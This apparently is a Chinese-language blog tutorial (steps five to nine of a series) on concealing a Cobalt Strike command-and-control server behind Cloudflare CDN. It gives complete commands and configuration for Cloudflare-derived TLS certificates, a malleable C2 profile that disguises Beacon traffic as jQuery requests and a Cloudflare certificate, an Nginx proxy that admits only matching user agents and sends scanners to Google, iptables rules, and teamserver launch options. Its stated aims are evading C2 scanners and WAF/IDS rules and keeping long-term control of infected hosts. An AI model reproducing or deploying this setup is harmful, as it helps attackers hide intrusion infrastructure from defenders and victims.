思路：
CDN：通过借助CDN和Nginx反向代理和HTTPS来隐藏真实c2服务器 Nginx反向代理：通过Nginx对外部流量转发到本地，再设置防火墙只允许localhost访问cs端口达到IP白名单的效果
前几步和上篇文章一样
前几步地址
麋鹿，公众号：渗透安全团队CDN和域名隐藏C2地址 | 干货
第五步:配置TLS证书
1.更改cloudflare配置SSL/TLS加密模式为完全
2.在SSL/TLS——源服务器选项中生成一个新的证书，配置默认即可。生成cloudflare的pem和key文件，分别保存为cf.pem和cf.key，并上传至cs服务器
3.生成p12证书文件：
openssl pkcs12 -export -in cf.pem -inkey cf.key -out spoofdomain.p12 -name 你自己的域名 -passout pass:自己设置一个密码
生成.store格式文件keytool -importkeystore -deststorepass 刚才设置的密码 -destkeypass 刚才设置的密码 -destkeystore cf.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 刚才设置的密码
运用cs的自带工具检查store有效性：keytool -list -v -keystore cf.store
看到cf相关证书即成功：
这里解释一下为什么要生成新证书,cs自带证书为cobaltstrike.store,这个证书只用于服务端和客户端通讯。ssl.store证书用于HTTPS通信。这两个默认的证书存在cs的指纹信息
第六步:编写profile文件
cs的http相关流量特征可以根据profile文件改变,如果用默认的启动cs,通讯流量会十分明显,所以这一步是为了更改HTTPS的Beacon上线机器用的证书,还是为了消除特征
github中有很多profile案例，但现在的C2扫描器会针对常用的几个profile直接扫描，建议自行设置一个复杂的url路径。而且还会对ua进行过滤
set sample_name "kris_abao";set sleeptime "12000"; #默认睡眠时间set host_stage "false"; #设置不允许stage模式set jitter "60"; #时间抖动值（0~99）set data_jitter "60"; #数据抖动值（0~99）set useragent "自己挑一个合适的ua"; #这里的ua建议选择一个稍微独特一点的，方便之后nginx过滤set pipename "mojo.5688.8052.183894939787088877##";set pipename_stager "mojo.5688.8052.35780273329370473##";set tcp_frame_header "\x80";set smb_frame_header "\x80";code-signer{set keystore "cf.store";刚刚生成的/证书名字set password "刚才设置的store密码";set alias "第一步配置的cf域名";}https-certificate {#配置sslset CN "sni.cloudflaressl.com";set O "Cloudflare";set L "San Francisco";set C "US";}http-config {set headers "Server, Content-Type, Cache-Control, Connection";header "Connection" "close";header "Cache-Control" "max-age=2";header "Server" "nginx";#记录xff值，方便cdn过来时还能记录真实ipset trust_x_forwarded_for "true";#can set whether you want to remove the UA that teamserver blocks by defaultset block_useragents "curl*,lynx*,wget*";}http-get {set uri "/js/jquery-3.3.1.min.js"; #这里可以自行更改一个复杂的路径set verb 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编写完成之后，记得检查编写的profile文件是否有效：./c2lint cf.profile
第七步:配置nginx代理转发
到这一步为止，基本特征已经消除,但是在Payload上线、Beacon监听、会话回连等过程中，Beacon的Listener被主动扫描、流量触发WAF/IDS规则都可能让C2服务器难逃被标记的命运，这时代理转发就用来过滤互联网上的c2扫描器
(这里科普一下,Beacon是Cobalt Strike运行在目标主机上的payload，Beacon在隐蔽信道上我们提供服务，用于长期控制受感染主机。)
利用nginx反向代理的特性，把所有不符合cs的profile文件请求都给拒掉，在杜绝cs服务器未授权访问漏洞的同时，也大大增强了隐蔽性。这里我们除了针对url过滤之外，同时也强制要求ua相同才可以访问
7.1安装docker
yum -y updateyum install -y yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyum list docker-ce --showduplicates | sort -ryum install docker-ce-19.03.15-3 docker-ce-cli-19.03.15-3 containerd.iosystemctl start docker
2、拉取nginx镜像docker pull nginx
3、docker启动nginx：docker run -d -p 443:443 --add-host=host.docker.internal:host-gateway nginx
注意这里的-add-host=host.docker.internal:host-gateway不能漏，否则docker容器里会无法转发到我们实体机上的cs服务器。
4、复制之前的证书到nginx容器中：docker cp cf.pem 容器id:/etc/nginx/cf.pemdocker cp cf.key 容器id:/etc/nginx/cf.key
5、进入nginx容器docker exec -it 刚才启动的容器id /bin/bash
6、编辑/etc/nginx/conf.d/default.conf，原来的全删了，写入：(我这里直接cp的)
server {listen 443 ssl http2;ssl_certificate /etc/nginx/cf.pem;ssl_certificate_key /etc/nginx/cf.key;#ssl_verify_client on;#下面写profile中get的url路径location ~*/js/jquery {#start with jquery#下面写上profile中配置的uaif ($http_user_agent != "profile中设置的useragent") {return 302;}proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_pass https://host.docker.internal:2095;}#下面写profile中的post的url路径location ~*/post {#start with jquery#下面写上profile中配置的uaif ($http_user_agent != "profile中设置的useragent") {return 302;}proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_pass https://host.docker.internal:2095;}#重定向其他所有请求，防止扫描器扫描location / {proxy_pass https://www.google.com/;}}
7、重启容器docker restart 容器id
这一步nginx将443的端口流量转发到了2095端口,如下图,2095就是监听端口
第八步:防火墙配置
运用iptables配置防火墙，限制cs监听端口只能被本机访问，注意对外决不能暴露真实监听端口：iptables -A INPUT -s 127.0.0.1 -p tcp --dport 2095 -j ACCEPTiptables -A INPUT -s 172.17.0.0/16 -p tcp --dport 2095 -j ACCEPTiptables -A INPUT -p tcp --dport 2095 -j DROP
九:启动cs服务器，测试效果：
修改一下teamserver的登录端口，默认的50050端口太容易被发现：
编辑文件中最后一行，主要是更改server_port、keyStore和keyStorePassword：./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cf.store -Djavax.net.ssl.keyStorePassword=123456 teamserver $*
启动cs服务端：./teamserver 服务器真实IP cs登录密码 cf.profile &
创建监听器的时候
最后说一下可能踩坑的地方
cloudflare里面SSL/TLS加密模式没有设置为完全
cloudflare的缓存没关
profile写错了
docker启动nginx没有加-add-host=host.docker.internal:host-gateway.导致没有转发
teamserve没改
配置完nginx要重启
希望各位读者看完我们的文章以后自己去实践一下，只有学到脑子里的东西才是自己的，如果遇到困难，可以加群与麋鹿师傅一起探讨，炼心之路，就在脚下，我们一起成长。
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